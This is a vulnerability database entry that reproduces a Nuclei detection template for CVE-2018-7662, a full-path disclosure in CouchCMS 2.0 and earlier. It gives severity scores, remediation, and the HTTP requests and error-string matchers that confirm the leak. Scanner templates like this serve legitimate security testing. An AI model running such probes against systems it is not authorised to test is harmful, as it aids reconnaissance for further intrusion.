Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2018-7662
HistoryApr 11, 2022 - 6:44 a.m.

CouchCMS <= 2.0 - Path Disclosure

2022-04-1106:44:02
ProjectDiscovery
github.com
3

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

5.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

0.003 Low

EPSS

Percentile

69.7%

CouchCMS <= 2.0 allows remote attackers to discover the full path via a direct request to includes/mysql2i/mysql2i.func.php or addons/phpmailer/phpmailer.php.

id: CVE-2018-7662

info:
  name: CouchCMS <= 2.0 - Path Disclosure
  author: ritikchaddha
  severity: medium
  description: CouchCMS <= 2.0 allows remote attackers to discover the full path via a direct request to includes/mysql2i/mysql2i.func.php or addons/phpmailer/phpmailer.php.
  impact: |
    An attacker can exploit this vulnerability to gain knowledge of the server's directory structure, potentially aiding in further attacks.
  remediation: |
    Upgrade to the latest version of CouchCMS (2.1 or higher) to mitigate this vulnerability.
  reference:
    - https://github.com/CouchCMS/CouchCMS/issues/46
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7662
    - https://github.com/20142995/Goby
    - https://github.com/5ecurity/CVE-List
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2018-7662
    cwe-id: CWE-200
    epss-score: 0.00225
    epss-percentile: 0.60692
    cpe: cpe:2.3:a:couchcms:couch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: couchcms
    product: couch
  tags: cve2018,cve,couchcms,fpd

http:
  - method: GET
    path:
      - "{{BaseURL}}/includes/mysql2i/mysql2i.func.php"
      - "{{BaseURL}}/addons/phpmailer/phpmailer.php"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "mysql2i.func.php on line 10"
          - "Fatal error: Cannot redeclare mysql_affected_rows() in"
        condition: and

      - type: word
        part: body
        words:
          - "phpmailer.php on line 10"
          - "Fatal error: Call to a menber function add_event_listener() on a non-object in"
        condition: and
# digest: 4a0a00473045022100c4460a818f60b488fc5c71aa9168516c7a2150f2545f52f51d1e70070b99845902207d25ed1c7daae64770f71a5d953448464b14770c12736d4eda9a5a7873141812:922c64590222798bb761d5b6d8e72950

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

5.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

0.003 Low

EPSS

Percentile

69.7%

Related for NUCLEI:CVE-2018-7662